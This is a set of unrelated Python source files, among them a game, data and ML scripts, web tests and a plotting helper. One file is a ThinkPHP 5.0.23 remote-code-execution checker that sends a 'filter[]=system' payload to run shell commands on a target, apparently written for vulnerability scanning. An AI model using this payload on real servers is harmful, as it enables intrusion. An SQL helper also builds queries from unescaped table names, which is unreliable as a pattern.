    def reset(self):
        self.nodes = [[DotsAndBoxes.Node((i, j), i + j * self.size) for j in range(self.size + 1)]
                      for i in range(self.size + 1)]
        self.boxes = [[None for _ in range(self.size)] for _ in range(self.size)]
        for i in range(self.size):
            for j in range(self.size):
                corners = set()
                corners.add(self.nodes[i][j])
                corners.add(self.nodes[i][j + 1])
                corners.add(self.nodes[i + 1][j])
                corners.add(self.nodes[i + 1][j + 1])
                self.boxes[i][j] = DotsAndBoxes.Box((i, j), corners)

        self.done = False
        self.action_spaces = set()
        for u in itertools.chain.from_iterable(self.nodes):
            if u.position[1] < self.size:
                self.action_spaces.add((u.position, (u.position[0], u.position[1] + 1)))
            if u.position[0] < self.size:
                self.action_spaces.add((u.position, (u.position[0] + 1, u.position[1])))

        if random.choice([True, False]):
            self._player2()

        return self._get_current_observation()

    def _get_box_screen_position(self, pos):
        corner_position = self._get_node_screen_position(pos)
        box_position = (corner_position[0] + self.box_step // 2, corner_position[1] + self.box_step // 2)

        return box_position

    def _get_node_screen_position(self, pos):
        i, j = pos

        starting_point = (self.screen_width // 2 - self.display_size // 2,
                          self.screen_height // 2 - self.display_size // 2)
        dot_position = (starting_point[0] + i * self.box_step, starting_point[1] + j * self.box_step)

        return dot_position


# -*- coding: utf-8 -*-
"""
Created on Tue Apr  2 22:46:54 2019

@author: eric
"""

from sqlalchemy import create_engine
from urllib.parse import quote_plus
import pandas as pd

def get_conn():
    params = quote_plus("DRIVER={SQL Server Native Client 11.0};"
                                     "SERVER=localhost;"
                                     "DATABASE=it_jobs;"
                                     "Trusted_Connection=yes;")

    engine = create_engine("mssql+pyodbc:///?odbc_connect={}".format(params))
    conn=engine.connect()
    return conn

def get_data(sqlOrTableName, connection, params=None):
    sql = ""
    if len(sqlOrTableName.split(' '))==1: #if it is a table name
        sql = "select * from {}".format(sqlOrTableName)
    else:
        sql=sqlOrTableName
    bookExtensionTable = pd.read_sql(sql,con=connection, params=params)
    return bookExtensionTable


"""Sketch analyzer plugin for feature extraction."""
from __future__ import unicode_literals

import logging

import six

from timesketch.lib import emojis
from timesketch.lib.analyzers import interface
from timesketch.lib.analyzers import manager
from timesketch.lib.analyzers import utils

logger = logging.getLogger("timesketch.analyzers.feature")
RE_FLAGS = [
    "re.ASCII",
    "re.IGNORECASE",
    "re.LOCALE",
    "re.MULTILINE",
    "re.DOTALL",
    "re.VERBOSE",
]

class FeatureExtractionSketchPlugin(interface.BaseAnalyzer):
    """Analyzer for FeatureExtraction."""

    NAME = "feature_extraction"
    DISPLAY_NAME = "Feature extractor"
    DESCRIPTION = "Extract features from event based on stored definitions"

    FORM_FIELDS = [
        {
            "name": "query_string",
            "type": "ts-dynamic-form-text-input",
            "label": "The filter query to narrow down the result set",
            "placeholder": "Query",
            "default_value": "",
        },
        {
            "name": "query_dsl",
            "type": "ts-dynamic-form-text-input",
            "label": "The filter query DSL to narrow down the result",
            "placeholder": "Query DSL",
            "default_value": "",
        },
        {
            "name": "attribute",
            "type": "ts-dynamic-form-text-input",
            "label": "Name of the field to apply regular expression against",
            "placeholder": "Field Name",
            "default_value": "",
        },
        {
            "name": "store_as",
            "type": "ts-dynamic-form-text-input",
            "label": "Name of the field to store the extracted results in",
            "placeholder": "Store results as field name",
            "default_value": "",
        },
        {
            "name": "re",
            "type": "ts-dynamic-form-text-input",
            "label": "The regular expression to extract data from field",
            "placeholder": "Regular Expression",
            "default_value": "",
        },
        {
            "name": "re_flags",
            "type": "ts-dynamic-form-multi-select-input",
            "label": "List of flags to pass to the regular expression",
            "placeholder": "Regular Expression flags",
            "default_value": [],
            "options": RE_FLAGS,
            "optional": True,
        },
        {
            "name": "emojis",
            "type": "ts-dynamic-form-multi-select-input",
            "label": "List of emojis to add to events with matches",
            "placeholder": "Emojis to add to events",
            "default_value": [],
            "options": [x.code for x in emojis.EMOJI_MAP.values()],
            "options-label": [
                "{0:s} - {1:s}".format(x, y.help) for x, y in emojis.EMOJI_MAP.items()
            ],
            "optional": True,
        },
        {
            "name": "tags",
            "type": "ts-dynamic-form-text-input",
            "label": "Tag to add to events with matches",
            "placeholder": "Tag to add to events",
            "default_value": "",
            "optional": True,
        },
        {
            "name": "create_view",
            "type": "ts-dynamic-form-boolean",
            "label": "Should a view be created if there is a match",
            "placeholder": "Create a view",
            "default_value": False,
            "optional": True,
        },
        {
            "name": "store_type_list",
            "type": "ts-dynamic-form-boolean",
            "label": "Store extracted result in type List",
            "placeholder": "Store results as field type list",
            "default_value": False,
            "optional": True,
        },
        {
            "name": "overwrite_store_as",
            "type": "ts-dynamic-form-boolean",
            "label": "Overwrite the field to store if already exist",
            "placeholder": "Overwrite the field to store",
            "default_value": True,
            "optional": True,
        },
        {
            "name": "overwrite_and_merge_store_as",
            "type": "ts-dynamic-form-boolean",
            "label": "Overwrite the field to store and merge value if exist",
            "placeholder": "Overwrite the field to store and merge value",
            "default_value": False,
            "optional": True,
        },
        {
            "name": "keep_multimatch",
            "type": "ts-dynamic-form-boolean",
            "label": "Keep multi match datas",
            "placeholder": "Keep multi match",
            "default_value": False,
            "optional": True,
        },
        {
            "name": "aggregate",
            "type": "ts-dynamic-form-boolean",
            "label": "Should results be aggregated if there is a match",
            "placeholder": "Aggregate results",
            "default_value": False,
            "optional": True,
        },
    ]

    def __init__(self, index_name, sketch_id, timeline_id=None, **kwargs):
        """Initialize The Sketch Analyzer.

        Args:
            index_name: OpenSearch index name
            sketch_id: Sketch ID
            timeline_id: The ID of the timeline.
        """
        self.index_name = index_name
        self._feature_name = kwargs.get("feature")
        self._feature_config = kwargs.get("feature_config")
        super().__init__(index_name, sketch_id, timeline_id=timeline_id)

    def run(self):
        """Entry point for the analyzer.

        Returns:
            String with summary of the analyzer result.
        """
        return self.extract_feature(self._feature_name, self._feature_config)

    @staticmethod
    def _get_attribute_value(
        current_val, extracted_value, keep_multi, merge_values, type_list
    ):
        """Returns the attribute value as it should be stored.

        Args:
            current_val: current value of store_as.
            extracted_value: values matched from regexp (type list).
            keep_multi: choice if you keep all match from regex (type boolean).
            merge_values: choice if you merge value from extracted
                 and current (type boolean).
            type_list: choice if you store values in list type(type boolean).

        Returns:
            Value to store
        """
        if not current_val:
            merge_values = False
        if len(extracted_value) == 1:
            keep_multi = False
        if type_list:
            if merge_values and keep_multi:
                return sorted(list(set(current_val) | set(extracted_value)))
            if merge_values:
                if extracted_value[0] not in current_val:
                    current_val.append(extracted_value[0])
                return sorted(current_val)
            if keep_multi:
                return sorted(extracted_value)
            return [extracted_value[0]]
        if merge_values and keep_multi:
            list_cur = current_val.split(",")
            merge_list = sorted(list(set(list_cur) | set(extracted_value)))
            return ",".join(merge_list)
        if merge_values:
            if extracted_value[0] in current_val:
                return current_val
            return f"{current_val},{extracted_value[0]}"
        if keep_multi:
            return ",".join(extracted_value)
        return extracted_value[0]

    def extract_feature(self, name, config):
        """Extract features from events.

        Args:
            name: String with the name describing the feature to be extracted.
            config: A dict that contains the configuration for the feature
                extraction. See data/features.yaml for fields and further
                documentation of what needs to be defined.

        Returns:
            String with summary of the analyzer result.
        """
        query = config.get("query_string")
        query_dsl = config.get("query_dsl")
        attribute = config.get("attribute")
        store_type_list = config.get("store_type_list", False)
        keep_multimatch = config.get("keep_multimatch", False)
        overwrite_store_as = config.get("overwrite_store_as", True)
        overwrite_and_merge_store_as = config.get("overwrite_and_merge_store_as", False)

        if not attribute:
            logger.warning("No attribute defined.")
            return ""

        store_as = config.get("store_as")
        if not store_as:
            logger.warning("No attribute defined to store results in.")
            return ""

        tags = config.get("tags", [])

        expression_string = config.get("re")
        if not expression_string:
            logger.warning("No regular expression defined.")
            return ""

        expression = utils.compile_regular_expression(
            expression_string=expression_string, expression_flags=config.get("re_flags")
        )

        emoji_names = config.get("emojis", [])
        emojis_to_add = [emojis.get_emoji(x) for x in emoji_names]

        return_fields = [attribute, store_as]

        events = self.event_stream(
            query_string=query, query_dsl=query_dsl, return_fields=return_fields
        )

        event_counter = 0
        for event in events:
            attribute_field = event.source.get(attribute)
            if isinstance(attribute_field, six.text_type):
                attribute_value = attribute_field
            elif isinstance(attribute_field, (list, tuple)):
                attribute_value = ",".join(attribute_field)
            elif isinstance(attribute_field, (int, float)):
                attribute_value = attribute_field
            else:
                attribute_value = None

            if not attribute_value:
                continue

            result = expression.findall(attribute_value)
            if not result:
                continue
            result = list(set(result))

            event_counter += 1
            store_as_current_val = event.source.get(store_as)
            if store_as_current_val and not overwrite_store_as:
                continue
            if isinstance(store_as_current_val, six.text_type):
                store_type_list = False
            elif isinstance(store_as_current_val, (list, tuple)):
                store_type_list = True
            new_value = self._get_attribute_value(
                store_as_current_val,
                result,
                keep_multimatch,
                overwrite_and_merge_store_as,
                store_type_list,
            )
            if not new_value:
                continue
            event.add_attributes({store_as: new_value})
            event.add_emojis(emojis_to_add)
            event.add_tags(tags)

            # Commit the event to the datastore.
            event.commit()

        aggregate_results = config.get("aggregate", False)
        create_view = config.get("create_view", False)

        # If aggregation is turned on, we automatically create an aggregation.
        if aggregate_results:
            create_view = True

        if create_view and event_counter:
            view = self.sketch.add_view(
                name, self.NAME, query_string=query, query_dsl=query_dsl
            )

            if aggregate_results:
                params = {
                    "field": store_as,
                    "limit": 20,
                    "index": [self.timeline_id],
                }
                self.sketch.add_aggregation(
                    name="Top 20 for: {0:s} [{1:s}]".format(store_as, name),
                    agg_name="field_bucket",
                    agg_params=params,
                    description="Created by the feature extraction analyzer",
                    view_id=view.id,
                    chart_type="hbarchart",
                )

        return "Feature extraction [{0:s}] extracted {1:d} features.".format(
            name, event_counter
        )

    @staticmethod
    def get_kwargs():
        """Get kwargs for the analyzer.

        Returns:
            List of features to search for.
        """
        features_config = interface.get_yaml_config("features.yaml")
        if not features_config:
            return "Unable to parse the config features file."

        features_kwargs = [
            {"feature": feature, "feature_config": config}
            for feature, config in features_config.items()
        ]
        return features_kwargs

manager.AnalysisManager.register_analyzer(FeatureExtractionSketchPlugin)


from django.urls import path, include
from . import views

urlpatterns = [
    path('', views.index),
    path('register', views.register),
    path('quotes', views.quotes),
    path('login', views.login),
    path('logout', views.logout),
    path('create', views.create),
    path('delete', views.delete),
    path('like', views.like),
    path('user/<int:id>', views.user),
    path('myaccount/<int:id>', views.myaccount),
    path('update/<int:id>', views.update)
]


from time import sleep
from pyLib.webBaseLib import WebBaseLib
class WebStudentLib:
    """=====================================学生相关=============================================="""
    def get_student_homepage_info(self):
        """获取学生主页信息"""
        # 点击“主页”
        WebBaseLib.driver.find_element_by_css_selector('a[href="#/home"]>li').click()
        WebBaseLib.driver.find_element_by_css_selector(".img-responsive")
        sleep(1)
        # 返回需要检查的几个数据
        eles = WebBaseLib.driver.find_elements_by_css_selector(".row .ng-binding")
        studentinfo = [ele.text for ele in eles]
        studentinfo.pop(2)        # 把注册码去掉（不验证）
        print(f'获得的老师主页信息：{studentinfo}')
        return studentinfo

    def get_student_wrongquestions(self):
        WebBaseLib.driver.find_element_by_css_selector('a[href="#/yj_wrong_questions"]>li').click()
        sleep(2)
        ele = WebBaseLib.driver.find_element_by_css_selector('#page-wrapper')
        print(ele.text)
        return ele.text

    def student_do_homework(self):
        """学生完成作业"""
        # 点击通知图标
        WebBaseLib.driver.find_element_by_class_name('fa-tasks').click()
        # 找出通知
        eles = WebBaseLib.driver.find_elements_by_css_selector('[ng-click*="checkOneNotifiedTask"]')
        # 如果存在，就点击第一个，否则就退出
        if eles:
            eles[0].click()
        else:
            print('当前没有需要完成的作业')
            return
        sleep(0.2)
        # 点击”去做“按钮
        WebBaseLib.driver.find_element_by_css_selector('[ng-click*="viewTask"]').click()
        # 找出对应的三道题
        eles = WebBaseLib.driver.find_elements_by_css_selector('.btn-group')
        for ele in eles:
            # 找到ABCD四个答案
            answers = ele.find_elements_by_tag_name('button')
            # 都选择B答案
            answers[1].click()

        # 点击”提交“按钮
        WebBaseLib.driver.find_element_by_css_selector('[ng-click*="saveMyResult"]').click()
        sleep(0.5)
        # 点击”确定“
        WebBaseLib.driver.find_element_by_css_selector('.bootstrap-dialog-footer-buttons button:nth-child(2)').click()

if __name__ == '__main__':
    obj=WebStudentLib()
    """=======学生相关======"""
    obj.student_do_homework()
    #
    obj.user_login('小新老师', '888888', False)
    obj.teacher_check_homework()
    sleep(5)
    obj.close_browser()

    obj.user_login('小新老师','888888',False)
    obj.teacher_assign_homework('第一次作业')
    obj.user_login('叶子学生','888888')
    obj.student_do_homework()
    obj.user_login('小新老师', '888888', False)
    obj.teacher_check_homework()


# Author: Sloane Luckiewicz

# set up
import random
import turtle
pen = turtle.Turtle()
turtle.setup(575,575)
pen.speed(0)
pen.pensize(2)
pen.hideturtle()
pen.pencolor("black")
turtle.bgcolor("mintcream")

rubicsColors = ("red", "blue", "yellow", "orange", "green", "white")

# draw square
def draw_square(x,y,width,rubicsColors):
    pen.up()
    pen.setpos(x,y)
    pen.down()
    color = random.choice(rubicsColors)
    pen.fillcolor(color)
    pen.begin_fill()
    for i in range(4):
        pen.forward(width)
        pen.left(90)
    pen.end_fill()

# stack 3x3 square
def draw_rubics_cube(x,y,size):
    for i in range(3):
        for i in range(3):
            draw_square(x,y,size,rubicsColors)
            x+=size
        x-=size*3
        y+=size

# draw 10 rubics cubes
def draw_10_cubes():
    for i in range(10):
        size = random.randint(20,100)/2
        x = random.randint(-int(turtle.window_width()/2), int(turtle.window_width()/3.5))
        y = random.randint(-int(turtle.window_height()/2), int(turtle.window_height()/3))

        draw_rubics_cube(x,y,size)

draw_10_cubes()

turtle.done()


#!/usr/bin/env python
# -*- coding:utf-8 -*-

class VulnChecker(VulnCheck):
    def __init__(self, ip_and_port_list):
        self._name = 'thinkphp5023_rce'
        self.info = "Check the ThinkPHP 5.0.*(tested on 5.0.23) RCE"
        self.keyword = ['all', 'thinkphp', 'tp', 'rce', 'web', 'danger']
        self.default_ports_list = WEB_PORTS_LIST
        VulnCheck.__init__(self, ip_and_port_list)

    def _check(self, ip, port):
        random_num = ''.join(str(i) for i in random.sample(range(0,9),4))
        check_num = int(random_num) * 4
        poc_data = "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=php -r 'echo %s*4;'"%(random_num)
        url1 = "http://%s:%d/index.php?s=captcha"%(ip, int(port)) if add_web_path == "" else "http://%s:%d/%s/index.php?s=captcha"%(ip, int(port), add_web_path)
        url2 = "https://%s:%d/index.php?s=captcha"%(ip, int(port)) if add_web_path == "" else "https://%s:%d/%s/index.php?s=captcha"%(ip, int(port), add_web_path)
        url3 = "http://%s:%d/public/index.php?s=captcha"%(ip, int(port)) if add_web_path == "" else "http://%s:%d/%s/public/index.php?s=captcha"%(ip, int(port), add_web_path)
        url4 = "https://%s:%d/public/index.php?s=captcha"%(ip, int(port)) if add_web_path == "" else "https://%s:%d/%s/public/index.php?s=captcha"%(ip, int(port), add_web_path)
        for url in (url1, url2, url3, url4):
            try:
                req = Requester(url, method="post", data=poc_data, noencode=True)
                if str(check_num) in req.html:
                    result = "exists ThinkPHP 5.0.*(tested on 5.0.23) RCE, check url: %s"%(url)
                    self._output(ip, port, result)
                    return
            except:
                pass

globals()['VulnChecker'] = VulnChecker


# -*- coding:utf8 -*-

'''
Single model may achieve LB scores at around 0.29+ ~ 0.30+
Average ensembles can easily get 0.28+ or less
Don't need to be an expert of feature engineering
All you need is a GPU!!!!!!!

The code is tested on Keras 2.0.0 using Tensorflow backend, and Python 2.7
'''

########################################
## import packages
########################################
import os
import re
import csv
import codecs
import numpy as np
import pandas as pd

from nltk.corpus import stopwords
from nltk.stem import SnowballStemmer
from string import punctuation
from gensim.models import KeyedVectors
from keras.preprocessing.text import Tokenizer
from keras.preprocessing.sequence import pad_sequences
from keras.models import Model
from keras.callbacks import EarlyStopping, ModelCheckpoint

from config import BASE_DIR, EMBEDDING_FILE, TRAIN_DATA_FILE, TEST_DATA_FILE, MAX_SEQUENCE_LENGTH, MAX_NB_WORDS, EMBEDDING_DIM, VALIDATION_SPLIT, STAMP
from config import num_lstm, num_dense, rate_drop_lstm, rate_drop_dense, act, re_weight
from config import word2vec
from config import text_to_wordlist
from model import *

import sys
reload(sys)
sys.setdefaultencoding('utf-8')

if __name__ == '__main__':
    texts_1 = []
    texts_2 = []
    labels = []
    with codecs.open(TRAIN_DATA_FILE, encoding='utf-8') as f:
        reader = csv.reader(f, delimiter=',')
        header = next(reader)
        for values in reader:
            texts_1.append(text_to_wordlist(values[3], False, False))
            texts_2.append(text_to_wordlist(values[4], False, False))
            labels.append(int(values[5]))
            # break
    print('Found %s texts in train.csv' % len(texts_1))

    test_texts_1 = []
    test_texts_2 = []
    test_ids = []
    with codecs.open(TEST_DATA_FILE, encoding='utf-8') as f:
        reader = csv.reader(f, delimiter=',')
        header = next(reader)
        for values in reader:
            test_texts_1.append(text_to_wordlist(values[1], False, False))
            test_texts_2.append(text_to_wordlist(values[2], False, False))
            test_ids.append(values[0])
            # break
    print('Found %s texts in test.csv' % len(test_texts_1))

    tokenizer = Tokenizer(num_words=MAX_NB_WORDS)
    tokenizer.fit_on_texts(texts_1 + texts_2 + test_texts_1 + test_texts_2)

    sequences_1 = tokenizer.texts_to_sequences(texts_1)
    sequences_2 = tokenizer.texts_to_sequences(texts_2)
    test_sequences_1 = tokenizer.texts_to_sequences(test_texts_1)
    test_sequences_2 = tokenizer.texts_to_sequences(test_texts_2)

    word_index = tokenizer.word_index
    print('Found %s unique tokens' % len(word_index))

    data_1 = pad_sequences(sequences_1, maxlen=MAX_SEQUENCE_LENGTH)
    data_2 = pad_sequences(sequences_2, maxlen=MAX_SEQUENCE_LENGTH)
    labels = np.array(labels)
    print('Shape of data tensor:', data_1.shape)
    print('Shape of label tensor:', labels.shape)

    ########################################
    ## prepare embeddings
    ########################################
    print('Preparing embedding matrix')

    nb_words = min(MAX_NB_WORDS, len(word_index))+1

    embedding_matrix = np.zeros((nb_words, EMBEDDING_DIM))
    for word, i in word_index.items():
        if word in word2vec.vocab:
            embedding_matrix[i] = word2vec.word_vec(word)
    print('Null word embeddings: %d' % np.sum(np.sum(embedding_matrix, axis=1) == 0))

    ########################################
    ## sample train/validation data
    ########################################
    #np.random.seed(1234)
    perm = np.random.permutation(len(data_1))
    idx_train = perm[:int(len(data_1)*(1-VALIDATION_SPLIT))]
    idx_val = perm[int(len(data_1)*(1-VALIDATION_SPLIT)):]

    data_1_train = np.vstack((data_1[idx_train], data_2[idx_train]))
    data_2_train = np.vstack((data_2[idx_train], data_1[idx_train]))
    labels_train = np.concatenate((labels[idx_train], labels[idx_train]))

    data_1_val = np.vstack((data_1[idx_val], data_2[idx_val]))
    data_2_val = np.vstack((data_2[idx_val], data_1[idx_val]))
    labels_val = np.concatenate((labels[idx_val], labels[idx_val]))

    weight_val = np.ones(len(labels_val))
    if re_weight:
        weight_val *= 0.472001959
        weight_val[labels_val==0] = 1.309028344

    ########################################
    ## define the model structure
    ########################################
    # model = lystdo(nb_words, EMBEDDING_DIM, embedding_matrix, MAX_SEQUENCE_LENGTH, num_lstm, num_dense, rate_drop_lstm, rate_drop_dense, act)
    # model_name = 'lystdo'
    # model = lstm_add(nb_words, EMBEDDING_DIM, embedding_matrix, MAX_SEQUENCE_LENGTH, num_lstm, num_dense, rate_drop_lstm, rate_drop_dense, act)
    # model_name = 'lstm_add'
    # model = lstm_multiply(nb_words, EMBEDDING_DIM, embedding_matrix, MAX_SEQUENCE_LENGTH, num_lstm, num_dense, rate_drop_lstm, rate_drop_dense, act)
    # model_name = 'lstm_multiply'
    # model = bilstm_concat(nb_words, EMBEDDING_DIM, embedding_matrix, MAX_SEQUENCE_LENGTH, num_lstm, num_dense, rate_drop_lstm, rate_drop_dense, act)
    # model_name = 'bilstm_concat'
    # model = bigru_multiply(nb_words, EMBEDDING_DIM, embedding_matrix, MAX_SEQUENCE_LENGTH, num_lstm, num_dense, rate_drop_lstm, rate_drop_dense, act)
    # model_name = 'bigru_multiply'

    # model = gru_concat(nb_words, EMBEDDING_DIM, embedding_matrix, MAX_SEQUENCE_LENGTH, num_lstm, num_dense, rate_drop_lstm, rate_drop_dense, act)
    # model_name = 'gru_concat'
    # model = gru_add(nb_words, EMBEDDING_DIM, embedding_matrix, MAX_SEQUENCE_LENGTH, num_lstm, num_dense, rate_drop_lstm, rate_drop_dense, act)
    # model_name = 'gru_add'
    # model = gru_multiply(nb_words, EMBEDDING_DIM, embedding_matrix, MAX_SEQUENCE_LENGTH, num_lstm, num_dense, rate_drop_lstm, rate_drop_dense, act)
    # model_name = 'gru_multiply'
    # model = gru_add_multiply(nb_words, EMBEDDING_DIM, embedding_matrix, MAX_SEQUENCE_LENGTH, num_lstm, num_dense, rate_drop_lstm, rate_drop_dense, act)
    # model_name = 'gru_add_multiply'
    # model = bigru_concat(nb_words, EMBEDDING_DIM, embedding_matrix, MAX_SEQUENCE_LENGTH, num_lstm, num_dense, rate_drop_lstm, rate_drop_dense, act)
    # model_name = 'bigru_concat'
    # model = bigru_multiply(nb_words, EMBEDDING_DIM, embedding_matrix, MAX_SEQUENCE_LENGTH, num_lstm, num_dense, rate_drop_lstm, rate_drop_dense, act)
    # model_name = 'bigru_multiply'
    # model = bi2gru_multiply(nb_words, EMBEDDING_DIM, embedding_matrix, MAX_SEQUENCE_LENGTH, num_lstm, num_dense, rate_drop_lstm, rate_drop_dense, act)
    # model_name = 'bi2gru_multiply'
    # model = bigru_multiply_no_dense(nb_words, EMBEDDING_DIM, embedding_matrix, MAX_SEQUENCE_LENGTH, num_lstm, num_dense, rate_drop_lstm, rate_drop_dense, act)
    # model_name = 'bigru_multiply_no_dense'
    # model = bigru_add_multiply(nb_words, EMBEDDING_DIM, embedding_matrix, MAX_SEQUENCE_LENGTH, num_lstm, num_dense, rate_drop_lstm, rate_drop_dense, act)
    # model_name = 'bigru_add_multiply'

    model = cnn_multiply(nb_words, EMBEDDING_DIM, embedding_matrix, MAX_SEQUENCE_LENGTH, num_lstm, num_dense, rate_drop_lstm, rate_drop_dense, act)
    model_name = 'cnn_multiply'

    # model = bilstm_distance_angle(nb_words, EMBEDDING_DIM, embedding_matrix, MAX_SEQUENCE_LENGTH, num_lstm, num_dense, rate_drop_lstm, rate_drop_dense, act)
    # model_name = 'bilstm_distance_angle'

    early_stopping =EarlyStopping(monitor='val_loss', patience=3)
    bst_model_path = './models/' + model_name + STAMP + '.h5'
    model_checkpoint = ModelCheckpoint(bst_model_path, save_best_only=True, save_weights_only=True)

    ########################################
    ## add class weight
    ########################################
    if re_weight:
        class_weight = {0: 1.309028344, 1: 0.472001959}
    else:
        class_weight = None

    hist = model.fit([data_1_train, data_2_train], labels_train,
                     validation_data=([data_1_val, data_2_val], labels_val, weight_val),
                     epochs=200, batch_size=512, shuffle=True,
                     class_weight=class_weight, callbacks=[early_stopping, model_checkpoint])

    print(bst_model_path)
    # model.load_weights(bst_model_path)


# external imports
import unittest
from unittest.mock import Mock
# local imports
import nautilus
import nautilus.models as models
import nautilus.network.events.actionHandlers as action_handlers
from ..util import async_test, Mock, MockModel

class TestUtil(unittest.TestCase):

    def setUp(self):
        # point the database to a in-memory sqlite database
        nautilus.database.init_db('sqlite:///test.db')

        # save the class record
        self.model = MockModel()
        # create the table in the database
        nautilus.db.create_table(self.model)

    def tearDown(self):
        nautilus.db.drop_table(self.model)

    @async_test
    async def test_create_action_handler(self):
        # create a `create` action handler
        action_handler = action_handlers.create_handler(self.model)
        # the action type to fire the
        action_type = nautilus.conventions.actions.get_crud_action('create', self.model)
        # the attributes for the new Model
        payload = dict(name = 'foo')

        # the query for the number of matching records
        record_query = self.model.select().where(self.model.name=='foo')

        # the number of matching records before we trigger the handler
        assert record_query.count() == 0
        # call the action handler
        await action_handler(Mock(), action_type=action_type, payload=payload, props={}, notify=False)

        # make sure there is now a matching record
        assert record_query.count() == 1, (
            "Record was not created by action handler"
        )
        assert record_query[0].name == 'foo', (
            "Record did not have the correct attribute value"
        )

    @async_test
    async def test_delete_action_handler(self):
        # create a record in the test database
        record = self.model(name='foo')
        # save the record
        record.save()

        # create a `create` action handler
        action_handler = action_handlers.delete_handler(self.model)
        # the action type to fire the
        action_type = nautilus.conventions.get_crud_action('delete', self.model)
        # the attributes for the new Model
        payload = dict(id=record.id)

        # the query for the number of matching records
        record_query = self.model.select().where(self.model.id==record.id)
        # fire the action handler
        await action_handler(Mock(), action_type=action_type, payload=payload, props={}, notify=False)
        # make sure there aren't any queries
        assert record_query.count() == 0, (
            "There were records matching query after it shoudl have been removed."
        )

    @async_test
    async def test_update_action_handler(self):
        # create a record in the test database
        record = self.model(name='foo')
        # save the record
        record.save()
        # the query to grab the model we changed
        record_query = self.model.select().where(self.model.id == 1)
        # make sure the record was saved and is retrievable
        assert record_query.get().name == 'foo'

        # create a `create` action handler
        action_handler = action_handlers.update_handler(self.model)
        # the action type to fire the
        action_type = nautilus.conventions.get_crud_action('update', self.model)

        # the attributes for the new Model
        payload = dict(id=record.id, name='bar')

        # fire the action handler
        await action_handler(Mock(), action_type=action_type, payload=payload, props={}, notify=False)

        # make sure the record was changed
        assert record_query.get().name == 'bar', (
            "Model query was not updated."
        )


# Standard python and AWS imports:
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd

from matplotlib.dates import DateFormatter
from matplotlib import gridspec

def plot_timeseries(
    timeseries_df,
    tag_name,
    start=None,
    end=None,
    plot_rolling_avg=False,
    labels_df=None,
    predictions=None,
    tag_split=None,
    custom_grid=True,
    fig_width=18,
    prediction_titles=None,
    shutdown_ranges_df=None,
    evaluation_color=None,
    evaluation_alpha=0.5
):
    """
    This function plots a time series signal with a line plot and can combine
    this with labelled and predicted anomaly ranges.

    PARAMS
    ======
        timeseries_df: pandas.DataFrame
            A dataframe containing the time series to plot

        tag_name: string
            The name of the tag that we can add in the label

        start: string or pandas.Datetime (default: None)
            Starting timestamp of the signal to plot. If not provided, will use
            the whole signal

        end: string or pandas.Datetime (default: None)
            End timestamp of the signal to plot. If not provided, will use the
            whole signal

        plot_rolling_avg: boolean (default: False)
            If set to true, will add a rolling average curve on top of the
            line plot for the time series.

        labels_df: pandas.DataFrame (default: None)
            If provided, this is a dataframe with all the labelled anomalies.
            This will be rendered as a filled-in plots below the time series
            itself.

        predictions: pandas.DataFrame or list of pandas.DataFrame
            If provided, this is a dataframe with all the predicted anomalies.
            This will be rendered as a filled-in plots below the time series
            itself.

        tag_split: string or pandas.Datetime
            If provided, the line plot will plot the first part of the time
            series with a colour and the second part in grey. This can be
            used to show the split between training and evaluation period for
            instance.

        custom_grid: boolean (default: True)
            Will show a custom grid with month name mentionned for each quarter
            and lighter lines for the other month to prevent clutter on the
            horizontal axis.

        fig_width: integer (default: 18)
            Figure width.

        prediction_titles: list of strings (default: None)
            If we want to plot multiple predictions, we can set the titles for
            each of the prediction plot.

    RETURNS
    =======
        fig: matplotlib.pyplot.figure
            A figure where the plots are drawn

        ax: matplotlib.pyplot.Axis
            An axis where the plots are drawn
    """
    if start is None:
        start = timeseries_df.index.min()
    elif type(start) == str:
        start = pd.to_datetime(start)

    if end is None:
        end = timeseries_df.index.max()
    elif type(end) == str:
        end = pd.to_datetime(end)

    if (tag_split is not None) & (type(tag_split) == str):
        tag_split = pd.to_datetime(tag_split)

    # Prepare the figure:
    fig_height = 4
    height_ratios = [8]
    nb_plots = 1

    if labels_df is not None:
        fig_height += 1
        height_ratios += [1.5]
        nb_plots += 1

    if predictions is not None:
        if type(predictions) == pd.core.frame.DataFrame:
            fig_height += 1
            height_ratios += [1.5]
            nb_plots += 1
        elif type(predictions) == list:
            fig_height += 1 * len(predictions)
            height_ratios = height_ratios + [1.5] * len(predictions)
            nb_plots += len(predictions)

    fig = plt.figure(figsize=(fig_width, fig_height))
    gs = gridspec.GridSpec(nb_plots, 1, height_ratios=height_ratios, hspace=0.5)
    ax = []
    for i in range(nb_plots):
        ax.append(fig.add_subplot(gs[i]))

    # Plot the time series signal:
    data = timeseries_df[start:end].copy()
    if tag_split is not None:
        ax[0].plot(data.loc[start:tag_split, 'Value'],
                   linewidth=0.5,
                   alpha=0.5,
                   label=f'{tag_name} - Training',
                   color='tab:grey')

        if evaluation_color is not None:
            ax[0].plot(data.loc[tag_split:end, 'Value'],
                       linewidth=0.5,
                       alpha=evaluation_alpha,
                       color=evaluation_color,
                       label=f'{tag_name} - Evaluation')

        else:
            ax[0].plot(data.loc[tag_split:end, 'Value'],
                       linewidth=0.5,
                       alpha=0.8,
                       label=f'{tag_name} - Evaluation')
    else:
        ax[0].plot(data['Value'], linewidth=0.5, alpha=0.8, label=tag_name)
    ax[0].set_xlim(start, end)

    # Plot a daily rolling average:
    if plot_rolling_avg == True:
        daily_rolling_average = data['Value'].rolling(window=60*24).mean()
        ax[0].plot(data.index,
                   daily_rolling_average,
                   alpha=0.5,
                   color='white',
                   linewidth=3)
        ax[0].plot(data.index,
                   daily_rolling_average,
                   label='Daily rolling leverage',
                   color='tab:red',
                   linewidth=1)

    # Configure custom grid:
    ax_id = 0
    if custom_grid:
        date_format = DateFormatter("%Y-%m")
        major_ticks = np.arange(start, end, 3, dtype='datetime64[M]')
        minor_ticks = np.arange(start, end, 1, dtype='datetime64[M]')
        ax[ax_id].xaxis.set_major_formatter(date_format)
        ax[ax_id].set_xticks(major_ticks)
        ax[ax_id].set_xticks(minor_ticks, minor=True)
        ax[ax_id].grid(which='minor', axis='x', alpha=0.8)
        ax[ax_id].grid(which='major', axis='x', alpha=1.0, linewidth=2)
        ax[ax_id].xaxis.set_tick_params(rotation=30)

    # Add the labels on a second plot:
    if labels_df is not None:
        ax_id += 1
        label_index = pd.date_range(
            start=data.index.min(),
            end=data.index.max(),
            freq='1min'
        )
        label_data = pd.DataFrame(index=label_index)
        label_data.loc[:, 'Label'] = 0.0

        for index, row in labels_df.iterrows():
            event_start = row['start']
